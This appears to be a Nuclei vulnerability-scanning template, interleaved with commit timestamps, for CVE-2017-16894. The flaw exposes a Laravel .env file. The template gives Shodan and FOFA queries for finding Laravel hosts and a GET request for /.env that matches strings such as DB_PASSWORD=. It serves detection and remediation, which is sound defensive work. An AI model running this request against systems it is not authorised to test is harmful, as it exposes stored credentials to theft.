2023-04-13 05:38:32 +00:00
id : CVE-2017-16894
info :
2023-04-28 13:11:35 +00:00
name : Laravel <5.5.21 - Information Disclosure
2023-04-13 05:38:32 +00:00
author : j4vaovo
severity : high
description : |
2023-04-28 13:11:35 +00:00
Laravel through 5.5.21 is susceptible to information disclosure. An attacker can obtain sensitive information such as externally usable passwords via a direct request for the /.env URI. NOTE : CVE pertains only to the writeNewEnvironmentFileWith function in src/Illuminate/Foundation/Console/KeyGenerateCommand.php, which uses file_put_contents without restricting .env permissions. The .env filename is not used exclusively by Laravel.
2023-09-27 15:51:13 +00:00
impact : |
An attacker can exploit this vulnerability to gain sensitive information from the application.
2023-09-06 13:22:34 +00:00
remediation : |
Upgrade Laravel to version 5.5.21 or higher to fix the information disclosure vulnerability.
2023-04-13 05:38:32 +00:00
reference :
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16894
2023-04-15 18:52:49 +00:00
- https://packetstormsecurity.com/files/cve/CVE-2017-16894
2023-04-16 18:40:12 +00:00
- http://whiteboyz.xyz/laravel-env-file-vuln.html
- https://twitter.com/finnwea/status/967709791442341888
2023-04-28 13:11:35 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2017-16894
2023-04-13 05:38:32 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cve-id : CVE-2017-16894
cwe-id : CWE-200
2023-11-10 17:07:52 +00:00
epss-score : 0.11608
2024-03-23 09:28:19 +00:00
epss-percentile : 0.95145
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:laravel:laravel:*:*:*:*:*:*:*:*
2023-04-13 05:38:32 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 13:22:34 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : laravel
product : laravel
2023-09-06 13:22:34 +00:00
shodan-query : Laravel-Framework
fofa-query : app="Laravel-Framework"
2024-01-14 09:21:50 +00:00
tags : cve,cve2017,laravel,exposure,packetstorm
2023-04-13 05:38:32 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-04-13 05:38:32 +00:00
- method : GET
path :
- "{{BaseURL}}/.env"
matchers-condition : and
matchers :
- type : word
part : body
words :
- "APP_NAME="
- "APP_DEBUG="
- "DB_PASSWORD="
condition : and
- type : word
part : header
words :
- "application/octet-stream"
- type : status
status :
- 200
2024-03-25 11:57:16 +00:00
# digest: 4a0a00473045022100a541924b65a67b00842f8a25418a80364b6d61f929707787057785e26f98d3b002205403d069324b4a48da8c6cba4b38fc4d1c04a8a1510526608e59a4bcab70e57e:922c64590222798bb761d5b6d8e72950